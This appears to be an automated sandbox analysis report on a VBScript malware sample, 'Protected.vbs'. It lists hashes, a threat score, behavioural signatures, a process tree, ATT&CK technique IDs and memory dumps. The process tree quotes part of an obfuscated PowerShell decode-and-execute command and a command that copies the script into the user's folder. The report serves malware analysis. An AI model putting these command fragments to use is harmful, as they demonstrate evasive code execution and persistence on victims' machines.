a14fcc6851b168544feec2b3889ccff2bf11306f4d420731b471b249a16af089

Analysis

max time kernel
140s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
14/02/2022, 16:15

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General

Target
Protected.vbs
Size 2KB
Sample220214-tp9s8saaf5
SHA256 a14fcc6851b168544feec2b3889ccff2bf11306f4d420731b471b249a16af089
MD5 43ccaa017a432012f15e6f330c19ef90
SHA1 52962106f3619283a741129e0cee4423f07fb9ec
SHA512 132c3837bcec2f96e04436b14e5efa351e81143df6dd22b7d2617d78fbced1ccb5946bf94878e46841514bbd0689071d15f2600d5464b54c5677f0ef6635b411
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
14	3184	WScript.exe
23	1512	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File opened for modification	C:\Windows\Logs\CBS\CBS.log	TiWorker.exe
File opened for modification	C:\Windows\WinSxS\pending.xml	TiWorker.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1512	powershell.exe
1512	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeIncreaseQuotaPrivilege	1512	powershell.exe
Token: SeSecurityPrivilege	1512	powershell.exe
Token: SeTakeOwnershipPrivilege	1512	powershell.exe
Token: SeLoadDriverPrivilege	1512	powershell.exe
Token: SeSystemProfilePrivilege	1512	powershell.exe
Token: SeSystemtimePrivilege	1512	powershell.exe
Token: SeProfSingleProcessPrivilege	1512	powershell.exe
Token: SeIncBasePriorityPrivilege	1512	powershell.exe
Token: SeCreatePagefilePrivilege	1512	powershell.exe
Token: SeBackupPrivilege	1512	powershell.exe
Token: SeRestorePrivilege	1512	powershell.exe
Token: SeShutdownPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeSystemEnvironmentPrivilege	1512	powershell.exe
Token: SeRemoteShutdownPrivilege	1512	powershell.exe
Token: SeUndockPrivilege	1512	powershell.exe
Token: SeManageVolumePrivilege	1512	powershell.exe
Token: 33	1512	powershell.exe
Token: 34	1512	powershell.exe
Token: 35	1512	powershell.exe
Token: 36	1512	powershell.exe
Token: SeIncreaseQuotaPrivilege	1512	powershell.exe
Token: SeSecurityPrivilege	1512	powershell.exe
Token: SeTakeOwnershipPrivilege	1512	powershell.exe
Token: SeLoadDriverPrivilege	1512	powershell.exe
Token: SeSystemProfilePrivilege	1512	powershell.exe
Token: SeSystemtimePrivilege	1512	powershell.exe
Token: SeProfSingleProcessPrivilege	1512	powershell.exe
Token: SeIncBasePriorityPrivilege	1512	powershell.exe
Token: SeCreatePagefilePrivilege	1512	powershell.exe
Token: SeBackupPrivilege	1512	powershell.exe
Token: SeRestorePrivilege	1512	powershell.exe
Token: SeShutdownPrivilege	1512	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe
Token: SeSystemEnvironmentPrivilege	1512	powershell.exe
Token: SeRemoteShutdownPrivilege	1512	powershell.exe
Token: SeUndockPrivilege	1512	powershell.exe
Token: SeManageVolumePrivilege	1512	powershell.exe
Token: 33	1512	powershell.exe
Token: 34	1512	powershell.exe
Token: 35	1512	powershell.exe
Token: 36	1512	powershell.exe
Token: SeShutdownPrivilege	1964	svchost.exe
Token: SeCreatePagefilePrivilege	1964	svchost.exe
Token: SeShutdownPrivilege	1964	svchost.exe
Token: SeCreatePagefilePrivilege	1964	svchost.exe
Token: SeShutdownPrivilege	1964	svchost.exe
Token: SeCreatePagefilePrivilege	1964	svchost.exe
Token: SeSecurityPrivilege	2264	TiWorker.exe
Token: SeRestorePrivilege	2264	TiWorker.exe
Token: SeBackupPrivilege	2264	TiWorker.exe
Token: SeBackupPrivilege	2264	TiWorker.exe
Token: SeRestorePrivilege	2264	TiWorker.exe
Token: SeSecurityPrivilege	2264	TiWorker.exe
Token: SeBackupPrivilege	2264	TiWorker.exe
Token: SeRestorePrivilege	2264	TiWorker.exe
Token: SeSecurityPrivilege	2264	TiWorker.exe
Token: SeBackupPrivilege	2264	TiWorker.exe
Token: SeRestorePrivilege	2264	TiWorker.exe
Token: SeSecurityPrivilege	2264	TiWorker.exe
Token: SeBackupPrivilege	2264	TiWorker.exe
Token: SeRestorePrivilege	2264	TiWorker.exe
Token: SeSecurityPrivilege	2264	TiWorker.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3184 wrote to memory of 1512	3184	WScript.exe	82
PID 3184 wrote to memory of 1512	3184	WScript.exe	82
PID 3184 wrote to memory of 4696	3184	WScript.exe	85
PID 3184 wrote to memory of 4696	3184	WScript.exe	85

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Protected.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" 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| %{ [System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32($_,2)) };I`E`X([system.String]::Join('', $gf))
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy "Protected.vbs" "C:\Users\Admin\Music" /Y
  2⤵
  PID:4696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1964

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2264

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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memory/1512-130-0x000001E658510000-0x000001E658532000-memory.dmp

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memory/1512-131-0x000001E63F523000-0x000001E63F525000-memory.dmp

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memory/1512-132-0x000001E6585F0000-0x000001E6585F2000-memory.dmp

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memory/1512-133-0x000001E6585F3000-0x000001E6585F5000-memory.dmp

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memory/1512-134-0x000001E6585F6000-0x000001E6585F8000-memory.dmp

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memory/1964-135-0x0000028E90180000-0x0000028E90190000-memory.dmp

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memory/1964-136-0x0000028E90960000-0x0000028E90970000-memory.dmp

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memory/1964-137-0x0000028E93560000-0x0000028E93564000-memory.dmp

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